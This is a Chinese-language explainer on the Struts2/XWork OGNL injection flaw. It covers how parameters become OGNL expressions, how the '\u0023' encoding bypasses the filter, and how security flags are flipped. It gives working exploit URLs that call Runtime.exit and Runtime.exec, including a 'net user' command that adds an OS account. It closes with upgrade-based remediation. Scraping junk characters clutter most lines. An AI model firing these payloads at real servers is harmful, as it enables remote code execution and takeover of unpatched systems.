1、struts2漏洞原理
' T8 I/ j5 t1 `9 }9 G" iStruts2是Struts + WebWork。WebWork最终是使用XWork来处理HTTP参数,是通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。当我们提交一个http参数:. O7 Y# v( \3 d5 R$ R
?user.address.city=Bishkek&user['favoriteDrink']=kumys# P) ?0 l2 T: N i; X
ONGL将它转换为:" z8 E9 r/ N; F) ?
action.getUser().getAddress().setCity(“Bishkek”)7 k' u0 T& ~6 p! H/ a: F9 D' P
action.getUser().setFavoriteDrink(“kumys”)$ \) ~- {, h( j5 F! J6 i
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()方法来实现的。除了提供getting/setting方法, OGNL 还支持其他更多的用法:) P" z0 j7 u$ l' k1 o9 b5 A
方法调用: foo()
0 W3 E) }1 K, f+ o* X' A( R* Z- ?+ h静态方法调用: @java.lang.System@exit(1)
& G$ k v {: Q9 ?4 [# t1 o( q构造函数调用: new MyClass()) V" O( R( w) N4 l n- J3 y& ^
向上下文变量赋值: #foo = new MyClass()2 k* ~6 c/ k' N1 u, T# u% E
…" d/ T; P& i& T
因为HTTP参数就是OGNL的执行语句,为了防止通过HTTP参数调用一个恶意函数来攻击网站,XWork有下面两个变量来限制方法的执行:. r$ C" r1 E7 X9 ]* K$ E# R
OgnlContext的属性:xwork.MethodAccessor.denyMethodExecution (set to true by default)& a3 O) L# S; D6 x5 U2 ^. ~, C( f
SecurityMemberAccess 私有属性:allowStaticMethodAccess (set to false by default)0 }9 J, F" U! p& ?! v5 J
为了方便开发者方便的访问变量, XWork提供了下面几个预定义的上下文变量:- r7 r7 v: M& H
#application0 d) U! q$ H3 V& k( a! X; r k
#session
! G: i0 o; M6 C# m#request9 x( X2 V7 l1 I
#parameters9 h! Y8 M2 y& m3 K1 M& Q5 [
#attr4 n; x# P& r X! u& n; c; m
这些变量代表了服务器端的对象,类似一个map。为篡改这些服务器端的变量,XWork的ParametersInterceptor不允许在http参数中使用#,但是可以使用Java的unicode String 来代替: \u0023。
, I) |6 ~, s$ s除了上面的上下文变量以外,还有下面更多的变量:
% u: V" `2 V) l: f$ Y#context – OgnlContext, the one guarding method execution based on ‘xwork.MethodAccessor.denyMethodExecution’ property value.
. ?1 J8 S) ~, \' N# b#_memberAccess – SecurityMemberAccess, whose ‘allowStaticAccess’ field prevented static method execution.0 r6 }# K6 ^$ w- ~
#root
; x+ u7 x2 \( p8 D; G#this/ E1 o0 T) b0 C2 ^, [. U0 K
#_typeResolver3 S4 j5 d+ @0 X, R
#_classResolver8 d% J! j0 j/ q0 s1 U9 d
#_traceEvaluations
: k% r. W2 `3 p1 \9 g#_lastEvaluation/ p8 z( \$ K6 i- I# d9 u# Y
#_keepLastEvaluation
% d/ ^" {; p3 D+ {5 |6 a从上面的信息你可能已经看出问题了,我可以修改这些变量的值,然后执行一段恶意的java代码:" E. g; v2 G H& n6 V4 ]
#_memberAccess['allowStaticMethodAccess'] = true+ A5 }4 y9 N: h, P6 N! D' D
#foo = new java .lang.Boolean(“false”)! M1 S' i/ Z' C" I/ j
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo/ T6 b1 V }# Q+ G' k
#rt = @java.lang.Runtime@getRuntime()& f' L; a1 c8 y9 F
#rt.exec(‘mkdir /tmp/PWNED’)" Y& P) H. E q$ F `: Q
另外,你可以使用下面的代码检验一下你的网站是否有漏洞: http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\'allowStaticMethodAccess\']‘)(meh)=true&(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1; i4 |. o. e( V h1 \+ _
旧版本的XWork没有属性’allowStaticMethodAccess’ 可以使用下面的URL: http://mydomain/MyStruts.action?(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1+ o' W9 O8 A Y ]" X9 z0 |4 U" [% [
OGNL处理时最终的结果就是
n$ G# Y W/ ?9 ljava.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭0 ~$ C; |7 B: F+ s' d5 h: F
类似的可以执行
1 M! ]! ?3 ?* B0 R/ V/ x9 F: p$ W& `* [java.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/),只要有权限就可以执行任何DOS命令。. o0 F8 w+ |. N
2、struts2漏洞解决方法
. J* y( A' Q, A3 j& i( `3 R1 {: E将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4。主要用到以下几个替换掉旧版本的:
: U3 Q) R( e( ?- Acommons-lang3-3.1.jar (保留commons-lang-2.6.jar)! X) `7 v& P, ^( ~: m+ ~
javassist-3.11.0.GA.jar (新加包), `9 `& ~$ _+ r2 A R. ~
ognl-3.0.5.jar (替换旧版本)0 |) H, e, M a- Q0 z6 o
struts2-core-2.3.4.1.jar (替换旧版本)% h# p' f) i: ?+ E9 `- G1 R' _, d
xwork-core-2.3.4.1.jar (替换旧版本)
+ r; V' P4 T) Z/ ]# Z |